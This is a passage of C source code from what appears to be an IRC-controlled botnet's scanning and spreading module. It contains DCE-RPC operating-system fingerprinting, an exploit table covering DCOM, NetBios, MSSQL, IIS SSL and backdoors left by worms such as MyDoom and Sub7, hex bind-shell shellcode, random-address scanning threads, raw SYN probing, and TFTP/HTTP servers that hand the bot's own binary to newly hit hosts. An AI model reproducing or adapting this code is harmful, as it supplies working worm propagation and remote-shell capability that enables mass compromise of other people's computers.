			memset(&ssin, 0, sizeof(ssin)); 
			ssin.sin_family=AF_INET;
			ssin.sin_port=fhtons(135); 
			ssin.sin_addr.s_addr=ResolveAddress((char *)szHost);
	    
			int iErr=fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin));
			if(iErr!=SOCKET_ERROR) {	
				iErr=fsend(sSocket, rpcfp_bindstr, sizeof(rpcfp_bindstr)-1, 0);
				if(iErr==SOCKET_ERROR) { 
					fclosesocket(sSocket); 
					return iRetVal; 
				}
				iErr=frecv(sSocket, szRecvBuf, sizeof(szRecvBuf), 0);
				if(iErr==SOCKET_ERROR) { 
					fclosesocket(sSocket); 
					return iRetVal; 
				}
				if(szRecvBuf[2]==DCE_PKT_BINDACK) {	
					iErr=fsend(sSocket, rpcfp_inqifids, sizeof(rpcfp_inqifids)-1,0);
					if(iErr==SOCKET_ERROR) { 
						fclosesocket(sSocket); 
						return iRetVal; 
					}
					iErr=frecv(sSocket, szRecvBuf, sizeof(szRecvBuf),0);
					if(iErr==SOCKET_ERROR) { 
						fclosesocket(sSocket); 
						return iRetVal; 
					}
					if(szRecvBuf[2]==DCE_PKT_RESPONSE) {	
						if(MemContains(szRecvBuf, iErr, w2kuuid_sig, sizeof(w2kuuid_sig)-1)) {	
							if(iErr<300) 
								iRetVal=OS_WINNT; 
							else 
								iRetVal=OS_WIN2K; 
						} else 
							if(MemContains(szRecvBuf, iErr, wxpuuid_sig, sizeof(wxpuuid_sig)-1))
								iRetVal=OS_WINXP;
							else
								iRetVal=OS_UNKNOWN; 
					} else {	
						fclosesocket(sSocket); 
						return iRetVal; 
					} 
				} else {	
					fclosesocket(sSocket); 
					return iRetVal; 
				} 
			} else {	
				fclosesocket(sSocket); 
				return iRetVal; 
			}
			fclosesocket(sSocket); 
			return iRetVal; 
		}
		break;
	case FP_PORT5K:
		if(AdvPortOpen(finet_addr(szHost), 5000, 3)) return OS_WINXP;
		break;
	case FP_TTL:
		return OS_UNKNOWN;
		break;
	default:
		return OS_UNKNOWN;
		break; 
	}
	return OS_UNKNOWN;
}
*/
//advscan.h
/*

enum {
	HTTP_TYPE_UNKNOWN,				// Unknown httpd respond... 
	HTTP_TYPE_IIS_60,				// IIS 6.0 httpd running...
	HTTP_TYPE_IIS_55,				// IIS 5.5 httpd running...
	HTTP_TYPE_IIS_50,				// IIS 5.0 httpd running...
	HTTP_TYPE_IIS_40,				// IIS 4.0 httpd running...
	HTTP_TYPE_APACHE_1X_UNIX,		// Apache 1.x on (Unix) ...
	HTTP_TYPE_APACHE_1X_WIN32,		// Apache 1.x on (Win32)...
	HTTP_TYPE_APACHE_2X_UNIX,		// Apache 2.x on (Unix) ...
	HTTP_TYPE_APACHE_2X_WIN32,		// Apache 2.x on (Win32)...
	HTTP_OPTION_UNKNOWN,			// Unknown option responded...
	HTTP_OPTION_WEBDAV				// Webdav option responded ...
};
*
typedef struct ADVSCANTHREAD 
{
	CLIENT* client;
	char StartIP[MAXIP];
//	char chan[MAXCHANLEN];
//	char msgchan[MAXCHANLEN];
//	SOCKET sock;
	unsigned short RemotePort;
	unsigned int delay;
	unsigned int minutes;
//	unsigned int threadnum;
//	unsigned int cthreadnum;
//	unsigned int cthreadid;
	unsigned int threads;
//	int exploit;
//	DWORD host;
//	BOOL notice;
//	BOOL silent;
	bool random;
//	BOOL gotinfo;
//	BOOL cgotinfo;

	bool Gotit;
	DWORD id;
	int Threadnum;

} ADVSCANTHREAD;

typedef struct ADVSCANSUBTHREAD 
{
	ADVSCANTHREAD* thread;
	unsigned long ip;
//	BOOL info;

	bool Gotit;
	DWORD id;
	int Threadnum;

} ADVSCANSUBTHREAD;

//typedef struct EXINFO 
//{
//	SOCKET sock;
//	char ip[MAXIP];
//	char chan[MAXCHANLEN];
//	char command[10];
//	unsigned short port;
//	unsigned int threadnum;
//	int exploit;
//	BOOL option;
//	BOOL notice;
//	BOOL silent;
//	BOOL gotinfo;
//
//} EXINFO;

//typedef BOOL (*efref)(EXINFO exinfo);

//typedef struct EXPLOIT 
//{
//	char command[10];
//	char name[30];
//	unsigned short port;
//	efref exfunc;
//	unsigned int stats;
//	BOOL tftp;
//	BOOL http;
//
//} EXPLOIT;

//typedef struct recvhdr 
//{
//	struct iphdr ip;
//	struct tcphdr2 tcp;
//	unsigned char junk_data[65535];
//
//} RECVHEADER;

void ListExploitStats(SOCKET sock, char *chan, BOOL notice);
void currentIP(SOCKET sock, char *chan, BOOL notice, int threadnum);
//void CheckServers(ADVSCAN scan);
unsigned long AdvGetNextIP(int threadnum);
unsigned long AdvGetNextIPRandom(char *scanmask, int threadnum);
BOOL AdvPortOpen(unsigned long ip, unsigned short port, unsigned int delay);
//BOOL SynPortOpen(unsigned long src_ip, unsigned long dest_ip, unsigned short port, unsigned int delay);
//int AdvHttpdScanner(EXINFO exinfo);
DWORD WINAPI AdvPortScanner(LPVOID param);
DWORD WINAPI AdvScanner(LPVOID param);



// globals
//ADVINFO advinfo[MAXTHREADS];
//CRITICAL_SECTION CriticalSection; 
/*
EXPLOIT exploit[]={
	#ifndef NO_NETBIOS
	{"netbios", "NetBios", 139, NetBios, 0, FALSE, FALSE},
	{"ntpass", "NTPass", 445, NetBios, 0, FALSE, FALSE},
	#endif
	#ifndef NO_DCOM
	{"dcom135", "Dcom135", 135, dcom, 0, TRUE, FALSE},
	{"dcom445", "Dcom445", 445, dcom, 0, TRUE, FALSE},
	{"dcom1025", "Dcom1025", 1025, dcom, 0, TRUE, FALSE},
	#endif
	#ifndef NO_IIS5SSL
	{"iis5ssl", "IIS5SSL", 443, IIS5SSL, 0, TRUE, FALSE},
	#endif
	#ifndef NO_MSSQL
	{"mssql", "MSSQL", 1433, MSSQL, 0, TRUE, FALSE},
	#endif
	#ifndef NO_BEAGLE
	{"beagle1", "Beagle1", 2745, Beagle, 0, FALSE, TRUE},
	{"beagle2", "Beagle2", 2745, Beagle, 0, FALSE, TRUE},
	#endif
	#ifndef NO_MYDOOM
	{"mydoom", "MyDoom", 3127, MyDoom, 0, FALSE, FALSE},
	#endif
	#ifndef NO_OPTIX
	{"optix", "Optix", 3410, Optix, 0, FALSE, FALSE},
	#endif
	#ifndef NO_UPNP
	{"upnp", "UPNP", 5000, upnp, 0, FALSE, TRUE},
	#endif
	#ifndef NO_NETDEVIL
	{"netdevil","NetDevil", 903, NetDevil, 0, FALSE, FALSE},
	#endif
	#ifndef NO_DAMEWARE
	{"DameWare", "DameWare", 6129, DameWare, 0, TRUE, FALSE},
	#endif
	#ifndef NO_KUANG2
	{"kuang2", "Kuang2", 17300, Kuang, 0, FALSE, FALSE},
	#endif
	#ifndef NO_SUB7
	{"sub7", "Sub7", 27347, Sub7, 0, FALSE, FALSE},
	#endif
	{NULL, NULL, 0, NULL, 0, FALSE, FALSE}
};
*/
/*
// credits to PhaTTy for this :)
char shellcode[] = //bind port 1981
	"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA"
	"\xEB\x05\xE8\xEB\xFF\xFF\xFF" 
	"\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85"
	"\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A"
	"\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A"
	"\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC"
	"\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58"
	"\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
	"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71"
	"\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3"
	"\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66"
	"\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3"
	"\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66"
	"\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B"
	"\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99"
	"\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5"
	"\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71"
	"\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32"
	"\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6"
	"\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9"
	"\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA"
	"\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8"
	"\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC"
	"\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8"
	"\xFA\xFA\xFC\xE9\xED\x99";
*/
/*
void ListExploitStats(SOCKET sock, char *chan, BOOL notice)
{
	char buffer[IRCLINE], buffer2[IRCLINE];

	int extotal = 0;

	sprintf(buffer, "[SCAN]: Exploit Statistics:");
	for(int i=0; exploit[i].port != 0; i++) {
		extotal += exploit[i].stats;
		sprintf(buffer2," %s: %d,",exploit[i].name,exploit[i].stats);
		strncat(buffer, buffer2, sizeof(buffer));
	}
	sprintf(buffer2, " Total: %d in %s.", extotal, Uptime(started));
	strncat(buffer, buffer2, sizeof(buffer));

	irc_privmsg(sock, chan, buffer, notice);
	addlog(buffer);

	return;
}
*/
/*
void currentIP(SOCKET sock, char *chan, BOOL notice, int threadnum)
{
	char sendbuf[IRCLINE];

	if (findthreadid(SCAN_THREAD) > 0) {
		IN_ADDR in;
		in.s_addr = advinfo[threadnum].ip;

		sprintf(sendbuf, "[SCAN]: Current IP: %s.",finet_ntoa(in));
	} else 
		sprintf(sendbuf ,"[SCAN]: Scan not active.");

	irc_privmsg(sock, chan, sendbuf, notice);
	addlog(sendbuf);

	return;
}
*/
/*
void CheckServers(ADVSCAN scan)
{
	char sendbuf[IRCLINE];

	DWORD id;

	if(scan.exploit != -1) {
		if (exploit[scan.exploit].tftp) {
			if (findthreadid(TFTP_THREAD) == 0) {
				static TFTPD tftpd;
				tftpd.port = tftpport;
				tftpd.threads = 0;
				GetModuleFileName(0,tftpd.filename,sizeof(tftpd.filename));
				strncpy(tftpd.requestname, filename, sizeof(tftpd.requestname)-1);
				tftpd.sock=scan.sock;
				tftpd.notice = scan.notice;
				if (scan.msgchan[0] == '\0') {
					strncpy(tftpd.chan, scan.chan, sizeof(tftpd.chan)-1);
					tftpd.silent = TRUE;
				} else {
					strncpy(tftpd.chan, scan.msgchan, sizeof(tftpd.chan)-1);
					tftpd.silent = FALSE;
				}
				
				sprintf(sendbuf, "[TFTPD]: Server started on IP: %s:%d, File: %s, Request: %s.", GetIP(tftpd.sock), tftpd.port, tftpd.filename, tftpd.requestname);
				tftpd.threadnum = addthread(sendbuf,TFTP_THREAD,NULL);
				if (threads[tftpd.threadnum].tHandle = CreateThread(NULL, 0, &TftpdThread, (LPVOID)&tftpd, 0, &id)) {
					while (tftpd.gotinfo == FALSE) 
						Sleep(50);
				} else
					sprintf(sendbuf, "[TFTPD]: Failed to start server, error: <%d>.", GetLastError());

				addlog(sendbuf);
			}
		} else if (exploit[scan.exploit].http) {
			if (findthreadid(HTTP_THREAD) == 0) {
				static HTTPD httpd;
				
				char *c;
				GetModuleFileName(0,httpd.dir,sizeof(httpd.dir));
				if ((c=strrchr(httpd.dir,'\\')) != NULL)
					*c='\0';
				httpd.port = httpport;
				httpd.enabled = FALSE;
				sprintf(httpd.chan, scan.chan);
				httpd.sock = scan.sock;
				httpd.notice = scan.notice;
				httpd.silent = scan.silent;

				sprintf(sendbuf,"[HTTPD]: Server listening on IP: %s:%d, Directory: %s\\.", GetIP(scan.sock), httpd.port, httpd.dir);

				httpd.threadnum = addthread(sendbuf,HTTP_THREAD,NULL);
				if (threads[httpd.threadnum].tHandle = CreateThread(NULL, 0, &HTTP_Server_Thread, (LPVOID)&httpd, 0, &id)) {
					while(httpd.info == FALSE)
						Sleep(50);
				} else
					sprintf(sendbuf, "[HTTPD]: Failed to start server, error: <%d>.", GetLastError());

				addlog(sendbuf);
			}
		}
	}

	return;
}
*
unsigned long XAdvGetNextIP(CRITICAL_SECTION cs, int threadnum)
{
	if (TryEnterCriticalSection(&cs))
	{
		DWORD host;

		memcpy(&host, &advinfo[threadnum].ip, 4);
		host = ntohl(host);
		host += 1;
		host = htonl(host);
		memcpy(&advinfo[threadnum].ip, &host, 4);

		LeaveCriticalSection(&cs);
	}
	return (advinfo[threadnum].ip);
}

unsigned long AdvGetNextIPRandom(CRITICAL_SECTION cs, char *scanmask, int threadnum)
{
	if (TryEnterCriticalSection(&cs))
	{
		int ip1=-1,ip2=-1,ip3=-1,ip4=-1;

		if (strlen(scanmask) > 15) 
			return 0;

		sscanf(scanmask,"%d.%d.%d.%d",&ip1,&ip2,&ip3,&ip4);
		if (ip1==-1) ip1=rand();
		if (ip2==-1) ip2=rand();
		if (ip3==-1) ip3=rand();
		if (ip4==-1) ip4=rand();

		advinfo[threadnum].ip = (ip1+(ip2<<8)+(ip3<<16)+(ip4<<24));

		LeaveCriticalSection(&cs);
	}
	return (advinfo[threadnum].ip);
}

bool XAdvPortOpen(unsigned long ip, unsigned short port, unsigned int delay)
{
	SOCKADDR_IN sin;
	unsigned long blockcmd=1;

	SOCKET sock = XSocket();
	if BAD_SOCKET(sock)
		return false;

	sin.sin_family = AF_INET;
	sin.sin_addr.S_un.S_addr = ip;
	sin.sin_port = htons(port);

	ioctlsocket(sock, FIONBIO, &blockcmd);
	connect(sock, (LPSOCKADDR)&sin, sizeof(sin));

	TIMEVAL timeout;
	timeout.tv_sec = delay;
	timeout.tv_usec = 0;
	FD_SET rset;
	FD_ZERO(&rset);
	FD_SET(sock,&rset);

	int i = select(0, 0, &rset, 0, &timeout);
	closesocket(sock);

	if (i <= 0) 
		return false;
	else 
		return true;
}
/*
// FIX ME: racerx90, needs to finish this
BOOL SynPortOpen(unsigned long src_ip, unsigned long dest_ip, unsigned short port, unsigned int delay)
{
	char buffer[LOGLINE];
	int size;

	unsigned short src_port = 9801;

	TCPHEADER2 send_tcp;
	send_tcp.source = fhtons(src_port);
	send_tcp.dest = fhtons(port);
	send_tcp.seq = rand();
	send_tcp.ack_seq = 0;
	send_tcp.res1 = 0;
	send_tcp.res2 = 0;
	send_tcp.doff = 5;
	send_tcp.fin = 0;
	send_tcp.syn = 1;  /*This is the important part..;) *
	send_tcp.rst = 0;
	send_tcp.psh = 0;
	send_tcp.ack = 0;
	send_tcp.urg = 0;
	send_tcp.window = fhtons(512);
	send_tcp.check = 0;
	send_tcp.urg_ptr = 0;

	PSDHEADER psdheader;
	psdheader.saddr = src_ip;
	psdheader.daddr = dest_ip;
	psdheader.zero = 0;
	psdheader.proto = IPPROTO_TCP;
	psdheader.length = fhtons(sizeof(send_tcp));

	memcpy (&psdheader.tcp, &send_tcp, sizeof (send_tcp));
	send_tcp.check = checksum((unsigned short *)&psdheader, sizeof (psdheader));

	SOCKADDR_IN ssin;
	memset(&ssin,0,sizeof(ssin));
	ssin.sin_family = AF_INET;
	ssin.sin_port = fhtons(port); 
	ssin.sin_addr.s_addr = dest_ip;
	int ssin_len = sizeof(ssin);
  
	SOCKET tcp_sock = fsocket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (tcp_sock == INVALID_SOCKET) {
		addlog("socket open failed");
		return FALSE;
	}

	// 10022: WSAEINVAL - An invalid argument was supplied.
	if ((size = fsendto(tcp_sock,(const char *)&send_tcp,sizeof(send_tcp),0,(LPSOCKADDR)&ssin,ssin_len)) != 20) {
		sprintf(buffer,"sendto() socket failed. sent = %d <%d>.", size, fWSAGetLastError());
		addlog(buffer);
		fclosesocket(tcp_sock);
		return FALSE;
	}

	RECVHEADER recv_tcp;
	memset (&recv_tcp,'\0',sizeof(recv_tcp));
	while (recv_tcp.tcp.dest != src_port) {
		if (frecvfrom(tcp_sock,(char *)&recv_tcp,sizeof(recv_tcp),0,(LPSOCKADDR)&ssin, &ssin_len) < 0) {
			addlog("recvfrom() socket failed");
			fclosesocket(tcp_sock);
			return FALSE;
		}
	}
  
	fclosesocket(tcp_sock);
	if (recv_tcp.tcp.syn == 1) {
		addlog("Socket open.");

		return TRUE;
	} else {
		addlog("Socket closed.");
		return FALSE;
	}
}

int AdvHttpdScannerCheckHead(EXINFO exinfo)
{	
	int iReturn=HTTP_TYPE_UNKNOWN;

	SOCKET sSock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sSock != INVALID_SOCKET) {
		SOCKADDR_IN ssin;
		memset(&ssin,0,sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(exinfo.port);
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);

		if (fconnect(sSock,(LPSOCKADDR)&ssin,sizeof(ssin)) == 0) {
			DWORD mode = 1;
			fioctlsocket(sSock, FIONBIO, &mode);

			TIMEVAL timeout;
			timeout.tv_sec=5;
			timeout.tv_usec=0;
			FD_SET rset;
			FD_ZERO(&rset);
			FD_SET(sSock,&rset);

			if (fselect(0,0,&rset,0,&timeout) > 0) {
				char buffer[1024], *start;
				sprintf(buffer, "HEAD / HTTP/1.0\r\n\r\n");

				if (fsend(sSock, buffer, strlen(buffer), 0) > 0) {
					memset(buffer, 0, sizeof(buffer));

					int n;
					if((n = frecv(sSock, buffer, sizeof(buffer), 0)) > 0) {
						for (int d=0; d < n; d++) {
							if (!strncmp(buffer+d,"Server: ",strlen("Server: "))) {
								start=buffer+d+strlen("Server: ");
								for (d=0; d < (int)strlen(start); d++) {
									if (start[d] == '\n') 
										start[d]=0;
								}
							}
						}

						if (lstrcmpi(start, "Microsoft-IIS/6.0") == 0) 
							iReturn=HTTP_TYPE_IIS_60;
						else if(lstrcmpi(start, "Microsoft-IIS/5.5") == 0)
							iReturn=HTTP_TYPE_IIS_55;
						else if(lstrcmpi(start, "Microsoft-IIS/5.0") == 0)
							iReturn=HTTP_TYPE_IIS_50;
						else if(lstrcmpi(start, "Microsoft-IIS/4.0") == 0)
							iReturn=HTTP_TYPE_IIS_40;
						else if((lstrcmpi(start, "Apache/1") == 0) && (lstrcmpi(start, " (Unix) ") == 0))
							iReturn=HTTP_TYPE_APACHE_1X_UNIX;
						else if((lstrcmpi(start, "Apache/1") == 0) && (lstrcmpi(start, " (Win32) ") == 0))
							iReturn=HTTP_TYPE_APACHE_1X_WIN32;
						else if((lstrcmpi(start, "Apache/2") == 0) && (lstrcmpi(start, " (Unix) ") == 0))
							iReturn=HTTP_TYPE_APACHE_2X_UNIX;
						else if((lstrcmpi(start, "Apache/2") == 0) && (lstrcmpi(start, " (Win32) ") == 0))
							iReturn=HTTP_TYPE_APACHE_2X_WIN32; 
					}
				}
			}
		}
		fclosesocket (sSock);
	}	

	return (iReturn);
}

int AdvHttpdScannerCheckHead(EXINFO exinfo, int iReturn)
{
	SOCKET sSock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sSock != INVALID_SOCKET) {
		SOCKADDR_IN ssin;
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_port = fhtons(exinfo.port);
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);

		if (fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) {
			char buffer[1024];
			sprintf(buffer, "OPTIONS * HTTP/1.0\r\n\r\n");
			if (fsend(sSock, buffer, strlen(buffer), 0) > 0) {
				int n;
				memset(buffer, 0, sizeof(buffer));
				if((n = frecv(sSock, buffer, sizeof(buffer), 0)) > 0) {
					if (strncmp(buffer,"220 OK",strlen("220 OK")) != 0) {
						sprintf(buffer, "OPTIONS / HTTP/1.0\r\n\r\n");
						if (fsend(sSock, buffer, strlen(buffer), 0) > 0) { 
							memset(buffer, 0, sizeof(buffer));
							if((n = frecv(sSock, buffer, sizeof(buffer), 0)) > 0) {
								if (strncmp(buffer,"220 OK",strlen("220 OK")) != 0) {
									if (lstrcmpi(buffer, "DAV: 1, 2") == 0)
										iReturn=HTTP_OPTION_WEBDAV;
									else if(lstrcmpi(buffer, "SEARCH") == 0)
										iReturn=HTTP_OPTION_WEBDAV;
									else if(lstrcmpi(buffer, "PROPFIND") == 0)
										iReturn=HTTP_OPTION_WEBDAV;
								}
							}
						}
					}
				}
			}
		}
		fclosesocket(sSock);
	}

	return (iReturn);
}
*

DWORD WINAPI XAdvPortScanThread(LPVOID lpParam)
{

//	IN_ADDR in;
//	char logbuf[LOGLINE];

	#ifdef DEBUG_SYSTEM
	dbg("XAdvPortScanThread(), Started!");
	#endif 

	ADVSCANSUBTHREAD cthread = *((ADVSCANSUBTHREAD *)lpParam);
	ADVSCANSUBTHREAD* xinfo = (ADVSCANSUBTHREAD *)lpParam;
	xinfo->Gotit = TRUE;

	cthread.id = 1;

	

//	int threadnum=scan.cthreadnum;
//	int threadid=scan.cthreadid;

	srand(GetTickCount()); 
	while (1)//	while (advinfo[threads[threadnum].parent].info)
	{
//		DWORD dwIP;
		
//		if (scan.random)
//			dwIP = XAdvGetNextIPRandom(scan.ip, threads[threadnum].parent);
//		else
//			dwIP = XAdvGetNextIP(threads[threadnum].parent);
//		in.s_addr = dwIP;

//		sprintf(logbuf,"[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.", 
//			inet_ntoa(in), scan.port, threads[threadnum].parent, threadid); 
//		sprintf(threads[threadnum].name, logbuf);

//		if (AdvPortOpen(dwIP, scan.port, scan.delay) == TRUE) {
		//if (SynPortOpen(finet_addr(GetIP(scan.sock)), dwIP, scan.port, scan.delay) == TRUE) {
//			if (scan.exploit == -1) {
//				EnterCriticalSection(&CriticalSection); 
//
//				sprintf(logbuf,"[SCAN]: IP: %s, Port %d is open.",finet_ntoa(in),scan.port);
//				if (!scan.silent) {
//					if (scan.msgchan[0] != '\0')
//						irc_privmsg(scan.sock,scan.msgchan,logbuf,scan.notice, TRUE);
//					else
//						irc_privmsg(scan.sock,scan.chan,logbuf,scan.notice, TRUE);
//				}
//				addlog(logbuf);
//
//				LeaveCriticalSection(&CriticalSection);
//			}
//			else
//			{
//			//	EXINFO exinfo;
//
			//	sprintf(exinfo.ip, finet_ntoa(in));
			//	sprintf(exinfo.command, exploit[scan.exploit].command);
			//	if (scan.msgchan[0] != '\0')
			//		sprintf(exinfo.chan, scan.msgchan);
			//	else
			//		sprintf(exinfo.chan, scan.chan);
			//	exinfo.sock = scan.sock;
			//	exinfo.notice = scan.notice;
			//	exinfo.silent = scan.silent;
			//	exinfo.port = scan.port;
			//	exinfo.threadnum = threadnum;
			//	exinfo.exploit = scan.exploit;
			//	exploit[scan.exploit].exfunc(exinfo);
			//	/*if (exploit[scan.exploit].exfunc(exinfo)) {
			//		EnterCriticalSection(&CriticalSection); 
//
//					sprintf(logbuf,"[SCAN]: Finished with IP: %s, Port %d.",finet_ntoa(in),scan.port);
//					irc_privmsg(scan.sock,scan.chan,logbuf,scan.notice, TRUE);
//					addlog(logbuf);
//	
//					LeaveCriticalSection(&CriticalSection);
//				} else {
//					EnterCriticalSection(&CriticalSection); 
//
//					sprintf(logbuf,"[SCAN]: Failed to exploit IP: %s, Port %d.",finet_ntoa(in),scan.port);
//					irc_privmsg(scan.sock,scan.chan,logbuf,scan.notice, TRUE);
//					addlog(logbuf);
//	
//					LeaveCriticalSection(&CriticalSection);
//				}*
//
//			}
//		}
		Sleep(500);
	}

//	clearthread(threadnum);

	ExitThread(0);
}


DWORD WINAPI XAdvScannerThread(LPVOID lpParam)
{
	#ifdef DEBUG_SYSTEM
	dbg("XAdvScannerThread(), Started!");
	#endif 

	ADVSCANTHREAD thread = *((ADVSCANTHREAD *)lpParam);
	ADVSCANTHREAD *xinfo = (ADVSCANTHREAD *)lpParam;
	xinfo->Gotit = TRUE;

//	advinfo[scan.threadnum].ip = inet_addr(scan.ip);

//	CheckServers(scan);

//	if (XFindThreadByID(ADVSCANNER_THREAD) == 1)
//	{
//		DeleteCriticalSection(&CriticalSection); // just in case
//
//		if (!InitializeCriticalSectionAndSpinCount(&CriticalSection, 0x80000400))
//		{
//			// failed to initialize CriticalSection
//		//	sprintf(buffer,"[SCAN]: Failed to initialize critical section.");
//		//	if (!scan.silent) irc_privmsg(scan.sock,scan.chan,buffer,scan.notice);
//		//	addlog(buffer);
//
//			goto end;
//		}
//	}
//
//	advinfo[scan.threadnum].info = TRUE;
	for (unsigned int i = 1; i <= thread.threads; i++)
	{
	//	scan.cthreadid = i;
	//	sprintf(buffer,"[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.",scan.ip, scan.port,scan.threadnum,scan.cthreadid); 
	//	scan.cthreadnum = addthread(buffer,SCAN_THREAD,NULL);
	//	threads[scan.cthreadnum].parent = scan.threadnum;
//		if (threads[scan.cthreadnum].tHandle = 
//			CreateThread(NULL, 0, &XAdvPortScanThread,(LPVOID)&threads[thread.Threadnum].subthreads[i],0,0);//)
//		{
//			while (scan.cgotinfo == FALSE)
//				Sleep(30);
//		} else {
//			sprintf(buffer, "[SCAN]: Failed to start worker thread, error: <%d>.", GetLastError());
//			addlog(buffer);
//		}
		Sleep(30);
	}

	while (1)
		Sleep(1000);

//	if (scan.minutes != 0)
//		Sleep(60000*scan.minutes);
//	else 
//		while (advinfo[scan.threadnum].info == TRUE) Sleep(2000);

//	IN_ADDR in;
//	in.s_addr = advinfo[scan.threadnum].ip;
//	sprintf(buffer,"[SCAN]: Finished at %s:%d after %d minute(s) of scanning.", inet_ntoa(in), scan.port, scan.minutes);
//	if (!scan.silent) irc_privmsg(scan.sock,scan.chan,buffer,scan.notice);
//	addlog(buffer);

//	advinfo[scan.threadnum].info = FALSE;
//	Sleep(3000);

//	if (findthreadid(SCAN_THREAD) == 1) 
//		DeleteCriticalSection(&CriticalSection);

//end:

	DeleteCriticalSection(&threads[thread.Threadnum].ThreadCriticalSection);

	XKillThread(thread.Threadnum, TRUE , FALSE);

	memset(&thread, 0, sizeof(thread)); // i think it is crashing here on ddos

	ExitThread(0);
}
*/